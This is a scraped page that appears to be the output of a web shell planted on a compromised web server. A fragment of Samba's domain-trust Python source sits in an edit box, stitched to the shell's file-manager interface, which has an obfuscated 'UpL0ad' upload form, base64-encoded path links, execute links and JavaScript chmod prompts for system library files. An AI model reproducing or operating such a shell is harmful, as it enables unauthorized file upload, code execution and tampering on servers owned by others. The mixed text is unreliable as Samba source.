        except RuntimeError as error:
            raise self.LocalRuntimeError(self, error, &quot;lsaRQueryForestTrustInformation() failed&quot;)

        self.outf.write(&quot;Stored forest trust information...\n&quot;)
        self.write_forest_trust_info(stored_forest_info,
                                     tln=local_tdo_info.domain_name.string)
        return


class cmd_domain_trust(SuperCommand):
    &quot;&quot;&quot;Domain and forest trust management.&quot;&quot;&quot;

    subcommands = {}
    subcommands[&quot;list&quot;] = cmd_domain_trust_list()
    subcommands[&quot;show&quot;] = cmd_domain_trust_show()
    subcommands[&quot;create&quot;] = cmd_domain_trust_create()
    subcommands[&quot;modify&quot;] = cmd_domain_trust_modify()
    subcommands[&quot;delete&quot;] = cmd_domain_trust_delete()
    subcommands[&quot;validate&quot;] = cmd_domain_trust_validate()
    subcommands[&quot;namespaces&quot;] = cmd_domain_trust_namespaces()
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/lib/python3/dist-packages/samba/netcmd/domain<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZA=="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&x=X19pbml0X18ucHk=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&f=X19pbml0X18ucHk="/>__init__.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&f=X19pbml0X18ucHk=&c=`+btoa(c):0" value="0644"></td><td>3050</td></tr><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4vX19weWNhY2hlX18="/>__pycache__</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&f=X19weWNhY2hlX18=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4vYXV0aA=="/>auth</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&f=YXV0aA==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&x=YmFja3VwLnB5">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&f=YmFja3VwLnB5"/>backup.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&f=YmFja3VwLnB5&c=`+btoa(c):0" value="0644"></td><td>55916</td></tr><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4vY2xhaW0="/>claim</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&f=Y2xhaW0=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&x=Y2xhc3NpY3VwZ3JhZGUucHk=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&f=Y2xhc3NpY3VwZ3JhZGUucHk="/>classicupgrade.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&f=Y2xhc3NpY3VwZ3JhZGUucHk=&c=`+btoa(c):0" value="0644"></td><td>8114</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&x=Y29tbW9uLnB5">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&f=Y29tbW9uLnB5"/>common.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&f=Y29tbW9uLnB5&c=`+btoa(c):0" value="0644"></td><td>2883</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&x=ZGNwcm9tby5weQ==">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&f=ZGNwcm9tby5weQ=="/>dcpromo.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&f=ZGNwcm9tby5weQ==&c=`+btoa(c):0" value="0644"></td><td>3640</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&x=ZGVtb3RlLnB5">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&f=ZGVtb3RlLnB5"/>demote.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&f=ZGVtb3RlLnB5&c=`+btoa(c):0" value="0644"></td><td>15133</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&x=ZnVuY3Rpb25hbF9wcmVwLnB5">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&f=ZnVuY3Rpb25hbF9wcmVwLnB5"/>functional_prep.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&f=ZnVuY3Rpb25hbF9wcmVwLnB5&c=`+btoa(c):0" value="0644"></td><td>6006</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&x=aW5mby5weQ==">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&f=aW5mby5weQ=="/>info.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&f=aW5mby5weQ==&c=`+btoa(c):0" value="0644"></td><td>2250</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&x=am9pbi5weQ==">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&f=am9pbi5weQ=="/>join.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&f=am9pbi5weQ==&c=`+btoa(c):0" value="0644"></td><td>6152</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&x=a2V5dGFiLnB5">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&f=a2V5dGFiLnB5"/>keytab.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&f=a2V5dGFiLnB5&c=`+btoa(c):0" value="0644"></td><td>1920</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&x=bGVhdmUucHk=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&f=bGVhdmUucHk="/>leave.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&f=bGVhdmUucHk=&c=`+btoa(c):0" value="0644"></td><td>2010</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&x=bGV2ZWwucHk=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&f=bGV2ZWwucHk="/>level.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&f=bGV2ZWwucHk=&c=`+btoa(c):0" value="0644"></td><td>11839</td></tr><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4vbW9kZWxz"/>models</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&f=bW9kZWxz&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&x=cGFzc3dvcmRzZXR0aW5ncy5weQ==">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&f=cGFzc3dvcmRzZXR0aW5ncy5weQ=="/>passwordsettings.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&f=cGFzc3dvcmRzZXR0aW5ncy5weQ==&c=`+btoa(c):0" value="0644"></td><td>14799</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&x=cHJvdmlzaW9uLnB5">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&f=cHJvdmlzaW9uLnB5"/>provision.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&f=cHJvdmlzaW9uLnB5&c=`+btoa(c):0" value="0644"></td><td>17219</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&x=c2FtYmEzdXBncmFkZS5weQ==">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&f=c2FtYmEzdXBncmFkZS5weQ=="/>samba3upgrade.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&f=c2FtYmEzdXBncmFkZS5weQ==&c=`+btoa(c):0" value="0644"></td><td>1231</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&x=c2NoZW1hdXBncmFkZS5weQ==">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&f=c2NoZW1hdXBncmFkZS5weQ=="/>schemaupgrade.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&f=c2NoZW1hdXBncmFkZS5weQ==&c=`+btoa(c):0" value="0644"></td><td>13750</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&x=dG9tYnN0b25lcy5weQ==">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&f=dG9tYnN0b25lcy5weQ=="/>tombstones.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&f=dG9tYnN0b25lcy5weQ==&c=`+btoa(c):0" value="0644"></td><td>4328</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&x=dHJ1c3QucHk=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&f=dHJ1c3QucHk="/>trust.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3NhbWJhL25ldGNtZC9kb21haW4=&f=dHJ1c3QucHk=&c=`+btoa(c):0" value="0644"></td><td>110086</td></tr></table>